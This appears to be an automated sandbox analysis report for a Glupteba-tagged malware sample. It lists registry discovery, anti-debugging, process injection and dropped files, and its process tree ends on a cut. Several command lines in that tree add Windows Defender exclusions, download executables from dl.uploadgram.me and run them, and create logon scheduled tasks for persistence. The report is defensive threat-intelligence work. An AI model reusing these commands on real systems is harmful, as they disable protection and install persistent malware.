glupteba | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	64AAZ3NFn1v4pDaF45SgvCVe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	64AAZ3NFn1v4pDaF45SgvCVe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	xuvxPIejRv6FztmHksPMcUKl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	xuvxPIejRv6FztmHksPMcUKl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0pZVLUVR63Tztm7oZQCP50pT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0pZVLUVR63Tztm7oZQCP50pT.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	Setup (2).exe

Loads dropped DLL 2 IoCs

pid	Process
4480	x6wZkgQfsAq3vmu6gLRSnJ8j.tmp
4480	x6wZkgQfsAq3vmu6gLRSnJ8j.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 11 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral24/files/0x000100000001ab92-140.dat	themida
behavioral24/files/0x000100000001ab85-129.dat	themida
behavioral24/files/0x000100000001ab92-179.dat	themida
behavioral24/files/0x000100000001ab99-178.dat	themida
behavioral24/files/0x000100000001aba7-186.dat	themida
behavioral24/memory/3696-245-0x0000000000E80000-0x0000000000E81000-memory.dmp	themida
behavioral24/memory/2656-256-0x0000000000B60000-0x0000000000B61000-memory.dmp	themida
behavioral24/memory/3408-286-0x0000000000D20000-0x0000000000D21000-memory.dmp	themida
behavioral24/files/0x000100000001ab85-172.dat	themida
behavioral24/files/0x000100000001aba7-167.dat	themida
behavioral24/files/0x000100000001ab99-155.dat	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	64AAZ3NFn1v4pDaF45SgvCVe.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	xuvxPIejRv6FztmHksPMcUKl.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	0pZVLUVR63Tztm7oZQCP50pT.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 15 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
33	api.db-ip.com
214	ipinfo.io
366	ipinfo.io
208	ipinfo.io
134	ipinfo.io
198	ipinfo.io
201	ipinfo.io
28	ipinfo.io
143	ip-api.com
211	ipinfo.io
361	ipinfo.io
367	ip-api.com
29	ipinfo.io
32	api.db-ip.com
132	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
2656	xuvxPIejRv6FztmHksPMcUKl.exe
3696	64AAZ3NFn1v4pDaF45SgvCVe.exe
3408	0pZVLUVR63Tztm7oZQCP50pT.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3948 set thread context of 4964	3948	8SSQnh8VJ2ZXOMB2EVdhfqtx.exe	115
PID 388 set thread context of 4988	388	7ZpH1YJjEZ1iBO5uknAQ4wyO.exe	118
PID 3624 set thread context of 4996	3624	jofjsUkJjOeCP4yDpBx9DmvG.exe	117
PID 4012 set thread context of 5004	4012	WerFault.exe	116

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jooyu.exe	qcGb9v5y7YVfJDE6kI5XCMnU.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	qcGb9v5y7YVfJDE6kI5XCMnU.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\customer3.exe	qcGb9v5y7YVfJDE6kI5XCMnU.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	qcGb9v5y7YVfJDE6kI5XCMnU.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	qcGb9v5y7YVfJDE6kI5XCMnU.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 36 IoCs

pid	pid_target	Process	procid_target
5100	3120	WerFault.exe	93
5064	780	WerFault.exe	91
4012	780	WerFault.exe	91
3012	3120	WerFault.exe	93
4176	780	WerFault.exe	91
3092	3120	WerFault.exe	93
4492	3120	WerFault.exe	93
3012	780	WerFault.exe	91
5256	1972	WerFault.exe	108
5780	780	WerFault.exe	91
5760	780	WerFault.exe	91
5968	1972	WerFault.exe	108
6052	3120	WerFault.exe	93
6100	3120	WerFault.exe	93
5228	780	WerFault.exe	91
2360	780	WerFault.exe	91
3904	1972	WerFault.exe	108
2624	3120	WerFault.exe	93
6036	1972	WerFault.exe	108
2716	4456	WerFault.exe	176
5224	1972	WerFault.exe	108
4356	1972	WerFault.exe	108
5324	1972	WerFault.exe	108
5160	1972	WerFault.exe	108
6560	916	WerFault.exe	140
7016	916	WerFault.exe	140
6120	916	WerFault.exe	140
5220	916	WerFault.exe	140
6540	916	WerFault.exe	140
5568	916	WerFault.exe	140
4792	916	WerFault.exe	140
4788	916	WerFault.exe	140
864	916	WerFault.exe	140
7748	916	WerFault.exe	140
7380	6580	WerFault.exe	206
7376	916	WerFault.exe	140

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	gJOjTgHStPQhjAPFhilDMUye.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	gJOjTgHStPQhjAPFhilDMUye.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	gJOjTgHStPQhjAPFhilDMUye.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
9044	schtasks.exe
6968	schtasks.exe
5028	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
7900	taskkill.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
8496	PING.EXE
8836	PING.EXE

Script User-Agent 8 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	204	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	207	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	363	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	378	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	133	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	134	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	140	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	199	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
1752	Setup (2).exe
1752	Setup (2).exe
3568	gJOjTgHStPQhjAPFhilDMUye.exe
3568	gJOjTgHStPQhjAPFhilDMUye.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5064	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
5100	WerFault.exe
1392	Process not Found
1392	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3568	gJOjTgHStPQhjAPFhilDMUye.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	1900	zbXVIB49xC1RGNSfMJuiVQNh.exe
Token: SeDebugPrivilege	60	JUEfkxuAALb76So533ZEiWsM.exe
Token: SeDebugPrivilege	1592	NO5P176fhXgDBZjHRkQsEvWf.exe
Token: SeDebugPrivilege	3696	64AAZ3NFn1v4pDaF45SgvCVe.exe
Token: SeDebugPrivilege	4996	jofjsUkJjOeCP4yDpBx9DmvG.exe
Token: SeDebugPrivilege	2656	xuvxPIejRv6FztmHksPMcUKl.exe
Token: SeRestorePrivilege	5064	WerFault.exe
Token: SeBackupPrivilege	5064	WerFault.exe
Token: SeDebugPrivilege	4988	7ZpH1YJjEZ1iBO5uknAQ4wyO.exe
Token: SeDebugPrivilege	4964	8SSQnh8VJ2ZXOMB2EVdhfqtx.exe
Token: SeDebugPrivilege	5004	Xuz8Dk1AiXq6ZpUU1uwydzzF.exe
Token: SeDebugPrivilege	3408	0pZVLUVR63Tztm7oZQCP50pT.exe
Token: SeDebugPrivilege	5064	WerFault.exe
Token: SeDebugPrivilege	5100	WerFault.exe
Token: SeDebugPrivilege	1620	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4480	x6wZkgQfsAq3vmu6gLRSnJ8j.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 1592	1752	Setup (2).exe	89
PID 1752 wrote to memory of 1592	1752	Setup (2).exe	89
PID 1752 wrote to memory of 1592	1752	Setup (2).exe	89
PID 1752 wrote to memory of 3948	1752	Setup (2).exe	87
PID 1752 wrote to memory of 3948	1752	Setup (2).exe	87
PID 1752 wrote to memory of 3948	1752	Setup (2).exe	87
PID 1752 wrote to memory of 4012	1752	Setup (2).exe	86
PID 1752 wrote to memory of 4012	1752	Setup (2).exe	86
PID 1752 wrote to memory of 4012	1752	Setup (2).exe	86
PID 1752 wrote to memory of 60	1752	Setup (2).exe	85
PID 1752 wrote to memory of 60	1752	Setup (2).exe	85
PID 1752 wrote to memory of 60	1752	Setup (2).exe	85
PID 1752 wrote to memory of 388	1752	Setup (2).exe	84
PID 1752 wrote to memory of 388	1752	Setup (2).exe	84
PID 1752 wrote to memory of 388	1752	Setup (2).exe	84
PID 1752 wrote to memory of 3408	1752	Setup (2).exe	83
PID 1752 wrote to memory of 3408	1752	Setup (2).exe	83
PID 1752 wrote to memory of 3408	1752	Setup (2).exe	83
PID 1752 wrote to memory of 3624	1752	Setup (2).exe	82
PID 1752 wrote to memory of 3624	1752	Setup (2).exe	82
PID 1752 wrote to memory of 3624	1752	Setup (2).exe	82
PID 1752 wrote to memory of 1900	1752	Setup (2).exe	90
PID 1752 wrote to memory of 1900	1752	Setup (2).exe	90
PID 1752 wrote to memory of 2160	1752	Setup (2).exe	88
PID 1752 wrote to memory of 2160	1752	Setup (2).exe	88
PID 1752 wrote to memory of 2656	1752	Setup (2).exe	81
PID 1752 wrote to memory of 2656	1752	Setup (2).exe	81
PID 1752 wrote to memory of 2656	1752	Setup (2).exe	81
PID 1752 wrote to memory of 2664	1752	Setup (2).exe	80
PID 1752 wrote to memory of 2664	1752	Setup (2).exe	80
PID 1752 wrote to memory of 2664	1752	Setup (2).exe	80
PID 1752 wrote to memory of 3008	1752	Setup (2).exe	79
PID 1752 wrote to memory of 3008	1752	Setup (2).exe	79
PID 1752 wrote to memory of 3008	1752	Setup (2).exe	79
PID 1752 wrote to memory of 3568	1752	Setup (2).exe	101
PID 1752 wrote to memory of 3568	1752	Setup (2).exe	101
PID 1752 wrote to memory of 3568	1752	Setup (2).exe	101
PID 1752 wrote to memory of 2180	1752	Setup (2).exe	95
PID 1752 wrote to memory of 2180	1752	Setup (2).exe	95
PID 1752 wrote to memory of 2180	1752	Setup (2).exe	95
PID 1752 wrote to memory of 3120	1752	Setup (2).exe	93
PID 1752 wrote to memory of 3120	1752	Setup (2).exe	93
PID 1752 wrote to memory of 3120	1752	Setup (2).exe	93
PID 1752 wrote to memory of 400	1752	Setup (2).exe	92
PID 1752 wrote to memory of 400	1752	Setup (2).exe	92
PID 1752 wrote to memory of 400	1752	Setup (2).exe	92
PID 1752 wrote to memory of 780	1752	Setup (2).exe	91
PID 1752 wrote to memory of 780	1752	Setup (2).exe	91
PID 1752 wrote to memory of 780	1752	Setup (2).exe	91
PID 1752 wrote to memory of 1972	1752	Setup (2).exe	108
PID 1752 wrote to memory of 1972	1752	Setup (2).exe	108
PID 1752 wrote to memory of 1972	1752	Setup (2).exe	108
PID 1752 wrote to memory of 3680	1752	Setup (2).exe	107
PID 1752 wrote to memory of 3680	1752	Setup (2).exe	107
PID 1752 wrote to memory of 3680	1752	Setup (2).exe	107
PID 1752 wrote to memory of 3088	1752	Setup (2).exe	106
PID 1752 wrote to memory of 3088	1752	Setup (2).exe	106
PID 1752 wrote to memory of 3088	1752	Setup (2).exe	106
PID 1752 wrote to memory of 3696	1752	Setup (2).exe	105
PID 1752 wrote to memory of 3696	1752	Setup (2).exe	105
PID 1752 wrote to memory of 3696	1752	Setup (2).exe	105
PID 1752 wrote to memory of 4156	1752	Setup (2).exe	110
PID 1752 wrote to memory of 4156	1752	Setup (2).exe	110
PID 1752 wrote to memory of 4156	1752	Setup (2).exe	110

C:\Users\Admin\AppData\Local\Temp\Setup (2).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (2).exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Users\Admin\Documents\KC9LoCJcdUlMD1HGU_5_Oqj8.exe
  "C:\Users\Admin\Documents\KC9LoCJcdUlMD1HGU_5_Oqj8.exe"
  2⤵
  - Executes dropped EXE
  PID:3008
- - C:\Users\Admin\Documents\KC9LoCJcdUlMD1HGU_5_Oqj8.exe
    "C:\Users\Admin\Documents\KC9LoCJcdUlMD1HGU_5_Oqj8.exe"
    3⤵
    PID:5160
- C:\Users\Admin\Documents\re5gXSGRiSUASR4uA61S4_z8.exe
  "C:\Users\Admin\Documents\re5gXSGRiSUASR4uA61S4_z8.exe"
  2⤵
  - Executes dropped EXE
  PID:2664
- C:\Users\Admin\Documents\xuvxPIejRv6FztmHksPMcUKl.exe
  "C:\Users\Admin\Documents\xuvxPIejRv6FztmHksPMcUKl.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:2656
- C:\Users\Admin\Documents\jofjsUkJjOeCP4yDpBx9DmvG.exe
  "C:\Users\Admin\Documents\jofjsUkJjOeCP4yDpBx9DmvG.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3624
- - C:\Users\Admin\Documents\jofjsUkJjOeCP4yDpBx9DmvG.exe
    C:\Users\Admin\Documents\jofjsUkJjOeCP4yDpBx9DmvG.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4996
- C:\Users\Admin\Documents\0pZVLUVR63Tztm7oZQCP50pT.exe
  "C:\Users\Admin\Documents\0pZVLUVR63Tztm7oZQCP50pT.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:3408
- C:\Users\Admin\Documents\7ZpH1YJjEZ1iBO5uknAQ4wyO.exe
  "C:\Users\Admin\Documents\7ZpH1YJjEZ1iBO5uknAQ4wyO.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:388
- - C:\Users\Admin\Documents\7ZpH1YJjEZ1iBO5uknAQ4wyO.exe
    C:\Users\Admin\Documents\7ZpH1YJjEZ1iBO5uknAQ4wyO.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4988
- C:\Users\Admin\Documents\JUEfkxuAALb76So533ZEiWsM.exe
  "C:\Users\Admin\Documents\JUEfkxuAALb76So533ZEiWsM.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:60
- C:\Users\Admin\Documents\Xuz8Dk1AiXq6ZpUU1uwydzzF.exe
  "C:\Users\Admin\Documents\Xuz8Dk1AiXq6ZpUU1uwydzzF.exe"
  2⤵
  - Executes dropped EXE
  PID:4012
- - C:\Users\Admin\Documents\Xuz8Dk1AiXq6ZpUU1uwydzzF.exe
    C:\Users\Admin\Documents\Xuz8Dk1AiXq6ZpUU1uwydzzF.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5004
- C:\Users\Admin\Documents\8SSQnh8VJ2ZXOMB2EVdhfqtx.exe
  "C:\Users\Admin\Documents\8SSQnh8VJ2ZXOMB2EVdhfqtx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3948
- - C:\Users\Admin\Documents\8SSQnh8VJ2ZXOMB2EVdhfqtx.exe
    C:\Users\Admin\Documents\8SSQnh8VJ2ZXOMB2EVdhfqtx.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4964
- C:\Users\Admin\Documents\LeIoRzLd2z_6piMMrwMWHPMP.exe
  "C:\Users\Admin\Documents\LeIoRzLd2z_6piMMrwMWHPMP.exe"
  2⤵
  - Executes dropped EXE
  PID:2160
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', '%Temp%\\installer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', '%AppData%\\RuntimeBroker.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', '%Temp%\\launcher.exe') & powershell Start-Process -FilePath '%Temp%\\installer.exe' & powershell Start-Process -FilePath '%AppData%\\RuntimeBroker.exe' & powershell Start-Process -FilePath '%Temp%\\launcher.exe' & exit
    3⤵
    PID:4736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
      4⤵
      PID:8948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
      4⤵
      PID:5520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
      4⤵
      PID:9972
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', 'C:\Users\Admin\AppData\Local\Temp\\installer.exe')
      4⤵
      PID:2248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', 'C:\Users\Admin\AppData\Roaming\\RuntimeBroker.exe')
      4⤵
      PID:9992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', 'C:\Users\Admin\AppData\Local\Temp\\launcher.exe')
      4⤵
      PID:9372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\installer.exe'
      4⤵
      PID:10060
    - - C:\Users\Admin\AppData\Local\Temp\installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\installer.exe"
        5⤵
        
        PID:6468
      - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
        6⤵
        
        PID:10128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        7⤵
        
        PID:8688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        7⤵
        
        PID:5500
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        7⤵
        
        PID:7944
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Users\Admin\AppData\Local\Temp\installer.exe"
        6⤵
        
        PID:9140
        
        C:\Users\Admin\AppData\Local\Temp\svchost32.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Users\Admin\AppData\Local\Temp\installer.exe"
        7⤵
        
        PID:8500
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' & exit
        8⤵
        
        PID:9724
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:9044
        
        C:\Windows\system32\services32.exe
        
        "C:\Windows\system32\services32.exe"
        8⤵
        
        PID:9536
        
        C:\Windows\system32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
        9⤵
        
        PID:9936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        10⤵
        
        PID:8504
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        10⤵
        
        PID:10104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        10⤵
        
        PID:8232
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Windows\system32\services32.exe"
        9⤵
        
        PID:10036
        
        C:\Users\Admin\AppData\Local\Temp\svchost32.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Windows\system32\services32.exe"
        10⤵
        
        PID:3336
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' & exit
        11⤵
        
        PID:8600
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"'
        12⤵
        Creates scheduled task(s)
        
        PID:5028
        
        C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
        
        "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
        11⤵
        
        PID:8644
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost32.exe"
        8⤵
        
        PID:1768
        
        C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        9⤵
        
        PID:10156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Roaming\\RuntimeBroker.exe'
      4⤵
      PID:9672
    - - C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
        5⤵
        
        PID:9992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\launcher.exe'
      4⤵
      PID:7284
    - - C:\Users\Admin\AppData\Local\Temp\launcher.exe
        
        "C:\Users\Admin\AppData\Local\Temp\launcher.exe"
        5⤵
        
        PID:9716
      - C:\Users\Admin\AppData\Local\Temp\launcher.exe
        
        "{path}"
        6⤵
        
        PID:1448
- C:\Users\Admin\Documents\NO5P176fhXgDBZjHRkQsEvWf.exe
  "C:\Users\Admin\Documents\NO5P176fhXgDBZjHRkQsEvWf.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1592
- C:\Users\Admin\Documents\zbXVIB49xC1RGNSfMJuiVQNh.exe
  "C:\Users\Admin\Documents\zbXVIB49xC1RGNSfMJuiVQNh.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1900
- - C:\Users\Admin\AppData\Roaming\8389294.exe
    "C:\Users\Admin\AppData\Roaming\8389294.exe"
    3⤵
    - Executes dropped EXE
    PID:4372
- - C:\Users\Admin\AppData\Roaming\5100770.exe
    "C:\Users\Admin\AppData\Roaming\5100770.exe"
    3⤵
    PID:4104
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      PID:4404
- - C:\Users\Admin\AppData\Roaming\1924982.exe
    "C:\Users\Admin\AppData\Roaming\1924982.exe"
    3⤵
    PID:4780
- C:\Users\Admin\Documents\1k_UiTYE1VIS1RgaeGXD9h_B.exe
  "C:\Users\Admin\Documents\1k_UiTYE1VIS1RgaeGXD9h_B.exe"
  2⤵
  - Executes dropped EXE
  PID:780
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 780 -s 660
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5064
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 780 -s 680
    3⤵
    - Suspicious use of SetThreadContext
    - Program crash
    PID:4012
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 780 -s 644
    3⤵
    - Program crash
    PID:4176
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 780 -s 716
    3⤵
    - Program crash
    PID:3012
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 780 -s 1160
    3⤵
    - Program crash
    PID:5780
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 780 -s 1120
    3⤵
    - Program crash
    PID:5760
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 780 -s 1164
    3⤵
    - Program crash
    PID:5228
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 780 -s 1168
    3⤵
    - Program crash
    PID:2360
- C:\Users\Admin\Documents\eO17TiqSlEJ1ki0TevpMPIiI.exe
  "C:\Users\Admin\Documents\eO17TiqSlEJ1ki0TevpMPIiI.exe"
  2⤵
  - Executes dropped EXE
  PID:400
- C:\Users\Admin\Documents\dwr1rb3LIc9d6jn95bW9DZDk.exe
  "C:\Users\Admin\Documents\dwr1rb3LIc9d6jn95bW9DZDk.exe"
  2⤵
  - Executes dropped EXE
  PID:3120
- - C:\Windows\SysWOW64\WerFault.exe
